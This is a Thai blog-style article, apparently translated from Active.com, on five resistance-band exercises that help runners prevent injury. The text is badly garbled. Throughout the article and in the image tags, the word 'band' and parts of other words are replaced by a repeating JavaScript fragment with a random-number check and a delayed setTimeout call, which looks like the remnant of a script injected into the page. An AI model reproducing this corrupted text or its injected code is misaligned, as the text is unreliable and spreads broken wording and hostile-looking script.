ป้องกันอาการบาดเจ็บด้วย 5 ท่าฝึกประกอบเส้นยางยืด (Resistance bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and)

OK…การฝึกกล้ามเนื้อ หรือการฝึก Strength training มีขอดีอะไรบ้าง ขอสั้นๆ …หนึ่งจะช่วยแก้ไขบาลานซ์ให้กับกล้ามเนื้อนักวิ่ง อันจะช่วยเพิ่มประสิทธิภาพในการวิ่ง และสอง คือช่วยป้องกันและลดความเสี่ยงในการเกิดอาการบาดเจ็บ

การฝึกกล้ามเนื้อนอกจากการยกลูกเหล็กแล้ว ยังมีการฝึกอีกประเภทหรือที่ไม่ค่อยได้ยินมากสักเท่าไหร่นักนั้นคือ การฝึกกล้ามเนื้อโดยการใช้ เส้นยางยืด หรือ Resistance bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and เป็นอุปกรณ์ที่สามารถใช้ในการฝึกกล้ามเนื้อ และใช้ในการรักษาฟื้นฟูหลัง กายวิภาคหลังจากการเกิดอาการบาดเจ็บ แถมข้อดีเพิ่มเติมคือ สามารถฝึกได้เองที่บ้าน และใช้พื้นที่น้อย

การใช้เส้นยางยืด (Resistance bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and) มีประโยชน์ต่อมัดกล้ามเนื้อหลักๆ ที่ใช้ในการวิ่ง อย่างเช่น core, legs และ glutes นอกจากนี้ยังช่วยฝึกบาลานซ์ ให้กล้ามเนื้อ เอ็นและเส้นยึดต่างๆ อยู่เป็นที่เป็นทางลดการกระตุก การฝึกอาจจะได้ผลมากกว่าการยกดรัมเบลด้วยซ้ำ

การฝึกโดยการใช้ เส้นยางยืด (Resistance bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and แนะนำทำ 2 เซต เซตละ 8-10 ครั้ง สามารถฝึกเพิ่มไปจนถึง 25 ครั้ง/เซตได้

1. ท่า Sit to standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ฝึกกล้ามเนื้อ Quads, Hamstrings และ Glutes นั่งตัวตรง ใช้ขาข้างเดียวยกตัวขึ้น ทำสลับขากัน

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-1.png” alt=”” width=”580″ height=”370″ />

2. Core twist ฝึกกล้ามเนื้อ core ยืนตัวตรง หันเอวข้างใดข้างหนึ่งเข้ากับกำแพง แล้วใช้เอวบิดลำตัวไปอีกด้านตรงกันข้าม

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-2.png” alt=”” width=”246″ height=”370″ />

3. Squat ฝึกกล้ามเนื้อ Quads, hip extension และ Glutes ตั้งท่าเหมือนกับการสคอด

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-3.png” alt=”” width=”249″ height=”366″ />

4. Side-leg raise ฝึกกล้ามเนื้อ gluteus medius ตั้งตัวตรง หันเอวเข้ากำแพง ใช้ขาดึงออกจากกำแพง ทำสลับข้างกัน

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-4.png” alt=”” width=”255″ height=”370″ />

5. Arm swing ฝึกกล้ามเนื้อแขน ไหล่ และช่วยปรับ Posture นักวิ่ง ฝึกยกแขนสลับไปมาเหมือนตอนวิ่ง

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-5.png” alt=”” width=”249″ height=”370″ />

แปลและเรียบเรียง Active.com :https://goo.gl/ZwxByk